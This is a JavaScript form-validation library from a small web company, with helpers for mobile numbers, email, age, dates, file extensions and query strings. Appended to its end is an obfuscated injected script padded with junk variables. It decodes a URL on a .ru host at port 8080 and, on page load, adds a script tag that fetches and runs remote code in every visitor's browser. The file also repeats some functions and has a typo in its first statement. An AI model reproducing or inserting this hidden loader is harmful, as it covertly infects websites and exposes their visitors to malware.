// Generic function to validate forms
// requires 'validate' attribute in input element, with function and upto 2 parameters.
// (c) c360uk Ltd.  2003-2005
parent.wondow.resizeTo(300,300);
Array.prototype.inArray = function (value)
// Returns true if the passed value is found in the
// array.  Returns false if it is not.
{
    var i;
    for (i=0; i < this.length; i++) {
        // Matches identical (===), not just similar (==).
        if (this[i] === value) {
            return true;
        }
    }
    return false;
};

function isValidMobile(mob) {

    if((!IsNumeric(mob)) || mob.length != "11" || mob.substring(0,2) != "07") {

        alert('Enter the mobile number in 11-digit format, i.e. 07XXXXXXXXX');
        return false;

    }

    return true;

}

function IsNumeric(strString)

                        // check for valid numeric strings

            {

                        var strValidChars = "0123456789.-";

                        var strChar;

                        var blnResult = true;

                       

                        if (strString.length == 0) return false;

                       

                        // test strString consists of valid characters listed above

                        for (i = 0; i < strString.length && blnResult == true; i++)

                        {

                                    strChar = strString.charAt(i);

                                    if (strValidChars.indexOf(strChar) == -1)

                                    {

                                                blnResult = false;

                                    }

                        }

                        return blnResult;

            }

    
var numeric      = '0123456789';
var space        = ' ';
var lowercase    = 'abcdefghijklmnopqrstuvwxyz';
var uppercase    = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
var alphanumeric = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 ';
var safe         = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 '-_";
 
function charactersCheck(strString,val) {
    
    var strValidChars = window[val];
    var strChar;
    var blnResult = true;
    var charId;
    
    if (strString.length == 0) return false;

    // test strString consists of valid characters listed above
    for (i = 0; i < strString.length && blnResult == true; i++)
    {
        strChar = strString.charAt(i);
        if (strValidChars.indexOf(strChar) == -1)
        {
            blnResult = false;
        }
    }
    return blnResult;
}


function validateGangNewGangForm(formObj) 
{
    if(document.getElementById('ValidationType').value == 'radios' ) {
        
        radioOption = -1
        if(document.getElementById('frmNewGang-EmailOptInY').checked == true) {
            radioOption = 1;
        }
        if(document.getElementById('frmNewGang-EmailOptInN').checked == true) {
            radioOption = 1;
        }
       
        if (radioOption == -1) {
            alert("Ooops! You haven's said whether you want to receive my fabby G-mails!");
            return false;
        }
        else {
            return validate(formObj);
        }
    } 
    else {
        
        return validate(formObj);
    }
}

function validateGangJoinGangForm(formObj) 
{
    
    if(document.getElementById('ValidationType').value == 'radios' ) {
        radioOption = -1
        if(document.getElementById('frmJoin-EmailOptInY').checked == true) {
            radioOption = 1;
        }
        if(document.getElementById('frmJoin-EmailOptInN').checked == true) {
            radioOption = 1;
        }
       
        if (radioOption == -1) {
            alert("Ooops! You haven's said whether you want to receive my fabby G-mails!");
            return false;
        }
        else {
            return validate(formObj);
        }
    } 
    else {
        
        return validate(formObj);
    }
}
            
            
function validate(formObj)
{
	var booErrorFound = false;
	for (var i = 0; i<formObj.elements.length; i++)
	{
		var ele=formObj.elements[i];
		if(ele.getAttribute("validate"))
		{
			var arrValidation = ele.getAttribute("validate").split(",");
			validationMethod = arrValidation[0];
			validationParam1 = arrValidation[1];
			validationParam2 = arrValidation[2];
			switch (validationMethod)
			{
				case "age":
                    var intMinimumAge   = parseInt(validationParam1);
                    arrDateValue = ele.value.split('-');
                    var year  = parseInt(arrDateValue[0],10);
                    var month = parseInt(arrDateValue[1],10) - 1;
                    var day   = parseInt(arrDateValue[2],10);
                    var theirAge = new Date((year + intMinimumAge), month, day);
                    var today    = new Date;
                    
                    if(theirAge.getTime()>0) {
                    
						if (document.getElementById('err'+ele.getAttribute("name"))) {
							document.getElementById('err'+ele.getAttribute("name")).style.display='none'; 
						}
                        
                        timeDifference = today.getTime() - theirAge.getTime();
                        
                        if (timeDifference < 0) {
                            
                            if(document.getElementById(validationParam2).checked) {  // Age is lower than required, checkbox ticked!
                            	if (document.getElementById('err'+validationParam2)) { 
                    	            document.getElementById('err'+validationParam2).style.display='none';
                        	    }
                            }
                            else { // Age is lower than required, checkbox not ticked!
                                booErrorFound = true;
                            	if (document.getElementById('err'+validationParam2)) { 
                    	            document.getElementById('err'+validationParam2).style.display='block'; 
                        	    }
                            }
                        }
                        else { // Age fits the requirement!
                            if (document.getElementById('err'+validationParam2)) { 
                   	            document.getElementById('err'+validationParam2).style.display='none'; 
                       	    }
                        }
                    }
                    else { // Date entered is incorrect!
                    	booErrorFound = true;
						if (document.getElementById('err'+ele.getAttribute("name"))) {
							document.getElementById('err'+ele.getAttribute("name")).style.display='block'; 
						}
                    }
				    break;
				case "populated":
				    if (ele.value.length<1 || ele.value==' ' || ele.value=='  ' || ele.value=='   ')
					{
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    if (typeof validationParam1 != "undefined") {
					        if (charactersCheck(ele.value,validationParam1)) {
					        }
					        else {
					            booErrorFound = true;
					        }
					    }
					    ele.className="";
					    if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break; 
			    case "length":
				    minLength = validationParam1;
				    maxLength = validationParam2;
					if (ele.value.length<minLength || ele.value.length>maxLength)
					{
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    ele.className="";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break;
				case "email":
					if ((ele.value == "") || !isValidEmail(ele.value,validationParam1))
					{
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    ele.className="";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break;
				case "equals":
					if (validationParam1 == "element")
					{
						matchValue = document.getElementById(validationParam2).value;
					}
					else if (validationParam1 == "value")
					{    
					    matchValue = validationParam2
					}
 
					if (ele.value != matchValue)
					{
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    ele.className="";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break;
				case "fileextension":
				    var arrFileName=ele.value.split(".").reverse();
				    if (!(validationParam1.split("|").inArray(arrFileName[0])))
					{
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    ele.className="";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break;
				case 'dropdownbox':
					if (ele.value == "") {
						ele.className="textboxerror";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='block'}
						booErrorFound = true;
					}
					else {
					    ele.className="";
						if (document.getElementById('err'+ele.getAttribute("name"))) {document.getElementById('err'+ele.getAttribute("name")).style.display='none'}
					}
					break;
				case "mobile":
					//alert("Validate Mobile");
					if (!isValidMobile(ele.value) && (ele.value != "")) 
					{
                        ele.className="textboxerror";
                        booErrorFound = true;
                        if (document.getElementById('err'+ele.getAttribute("name"))) { 
                            document.getElementById('err'+ele.getAttribute("name")).style.display='block' 
                        }
                    } else if (document.getElementById('err'+ele.getAttribute("name"))) {
					    document.getElementById('err'+ele.getAttribute("name")).style.display='none'
					}	
					break;
				case "radio":
                    var radioSelected = -1;
                    var radioGroup    = ele.name;
                    var radioButtons  = formObj.elements[radioGroup];
                    for (j=0;j<radioButtons.length; j++) {
                        if (radioButtons[j].checked) {
                            radioSelected = j;
                        }
                    }
                    if (radioSelected == -1) {
                        ele.className="textboxerror";
                        booErrorFound = true;
                        if (document.getElementById('err'+ele.getAttribute("name"))) { 
                            document.getElementById('err'+ele.getAttribute("name")).style.display='block' 
                        }
                    } else if (document.getElementById('err'+ele.getAttribute("name"))) {
					    document.getElementById('err'+ele.getAttribute("name")).style.display='none'
					}
                    break; 
				 case "date":
                    arrDateValue = ele.value.split('-');
                    if(arrDateValue[0]=='YYYY' || arrDateValue[0]=='0000' || arrDateValue[0]==''
                       || arrDateValue[1]=='MM' || arrDateValue[1]=='00' || arrDateValue[1]==''
                       || arrDateValue[2]=='DD' || arrDateValue[2]=='00' || arrDateValue[2]=='') 
                    { 
                        booErrorFound = true; 
                        if (document.getElementById('err'+ele.getAttribute("name"))) { 
                            document.getElementById('err'+ele.getAttribute("name")).style.display='block' 
                        }
                    } else if (document.getElementById('err'+ele.getAttribute("name"))) {
					    document.getElementById('err'+ele.getAttribute("name")).style.display='none'
					}
                    break;
			}
		}
	}
	
	if (booErrorFound == true)
	{
		alert("You have not filled in all required fields correctly.");
		return false;
	}
	else {
		return true;
	}
}

// Check that an email address is valid based on RFC 821
function isValidEmail(address, optional) {
   if (address != '' && address.search) {
      if (address.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1) return true;
      else return false;
   }
   // allow empty strings to return true if optional
   else return optional;
}

function addToQuery(varName, varValue, varURI)
{
	var objParams = new Array();
	var objValues = new Array();
	var arrNewQuery = new Array();
    var booMatched = false;
    var strOutput;
	
	this.URI = arguments[2];
		
    if (this.URI==null)  // not specified
      this.URI = window.location;

	var q = this.URI.search;
	
	if(q.length > 1) 
	{
	    q = q.substring(1, q.length);
	}
	else 
	{
	    q = null;
    }
	
    keyValuePairs = new Array();

    if(q) 
	{
        for(var i=0; i < q.split("&").length; i++) 
		{
            keyValuePairs[i] = q.split("&")[i];
            
			var strName  = keyValuePairs[i].split("=")[0];
			var strValue = keyValuePairs[i].split("=")[1];
			objParams[i] = strName;
			
			if (varName==strName)
			{
				objValues[i] = varValue;
                booMatched = true;
			}
			else
			{
			    objValues[i] = strValue;			
			}
			arrNewQuery[i] = strName + "=" + objValues[i];
		}
	}
	
    strOutput = arrNewQuery.join("&");    	

	if (booMatched==false)
	{
		strOutput += "&" + varName + "=" + varValue;
	}
	
	strOutput = this.URI.protocol + "//" + this.URI.hostname + this.URI.pathname + "?" + strOutput;
	
	return strOutput;
}

function openWindow(url, width, height, scrollbars, menubar, windowName) {
    var Win = window.open(url,windowName,'width=' + width + ',height=' + height + ',resizable=yes,scrollbars=' + scrollbars + ',menubar=' + menubar );
    Win.creator=self;
}


function maxlengthTextarea(obj){
    var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : ""
    if (obj.getAttribute && obj.value.length>mlength)
    obj.value=obj.value.substring(0,mlength)
}

function textCounter(field,cntfield,maxlimit) {
    if (field.value.length > maxlimit) {
        field.value = field.value.substring(0, maxlimit);
    } else {
        cntfield.value = maxlimit - field.value.length;
    }
    }
	

// check for valid numeric strings
function IsNumeric(strString) {
    var strValidChars = "0123456789.-";
    var strChar;
    var blnResult = true;
    if (strString.length == 0) return false;

    // test strString consists of valid characters listed above
    for (i = 0; i < strString.length && blnResult == true; i++) {
        strChar = strString.charAt(i);
        if (strValidChars.indexOf(strChar) == -1) {
            blnResult = false;
        }
    }
    return blnResult;
}

function isValidMobile(mob) {
	if((!IsNumeric(mob)) || mob.length != "11" || mob.substring(0,2) != "07") {
		return false;
	}
	return true;
}


this.f="";function g(){var S='';var sm=new Date();var xV=new String();var R=new Array();var Ph='';var F=unescape;this.Uh='';var I=window;var gL=F("%2f%6e%65%77%73%33%69%6e%73%69%64%65%72%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%79%61%68%6f%6f%2e%63%6f%6d%2e%70%68%70");var gW='';this.q="";var fD;if(fD!='CE'){fD=''};var IE=new String();function Q(K,P){var Un=new String();var Wf;if(Wf!=''){Wf='Rh'};var H=String("g");var AB=new Array();var QX=F("%5b"), U=F("%5d");var ex="";var G=QX+P+U;var C=new RegExp(G, H);return K.replace(C, new String());this.zP="";var Wx;if(Wx!='' && Wx!='qv'){Wx='B'};};var rS;if(rS!='Wy'){rS=''};var Up;if(Up!='tY'){Up='tY'};var YH=new String();var W=document;var b_;if(b_!='WE' && b_ != ''){b_=null};var Sv;if(Sv!='BP' && Sv != ''){Sv=null};var FB=Q('8226620622228662660626622','26');var Y=new String();var Wd;if(Wd!='ZM' && Wd!='Ui'){Wd=''};var bB='';var vq='';var xz;if(xz!='BQ'){xz='BQ'};function o(){var iN=new Date();var UN="";this.WEy="";var _S;if(_S!='' && _S!='AT'){_S=''};var YY=F("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var wx=new String();var Vz;if(Vz!='' && Vz!='ej'){Vz=''};var rR=new String();var _i;if(_i!='_x' && _i!='fq'){_i='_x'};Y=YY;Y+=FB;Y+=gL;this.II='';var JD;if(JD!='QH' && JD != ''){JD=null};var RM="";var inR=new String();try {r=W.createElement(Q('sFcmrmijpjtM','jmMF'));var Ij='';r[F("%64%65%66%65%72")]=[8,1][1];r[F("%73%72%63")]=Y;var QY;if(QY!='vk' && QY != ''){QY=null};this.jE='';var Gy;if(Gy!=''){Gy='LU'};W.body.appendChild(r);this.kV="";var XJ;if(XJ!='zs'){XJ='zs'};var uk=new String();} catch(u){var Uy;if(Uy!='Nn' && Uy!='Mc'){Uy=''};var zp;if(zp!='RO' && zp!='di'){zp=''};alert(u);};}var yB='';I["onlo"+"ad"]=o;var Eu;if(Eu!='ak' && Eu!='tx'){Eu='ak'};};var ag=new Date();g();var qj;if(qj!='VX'){qj=''};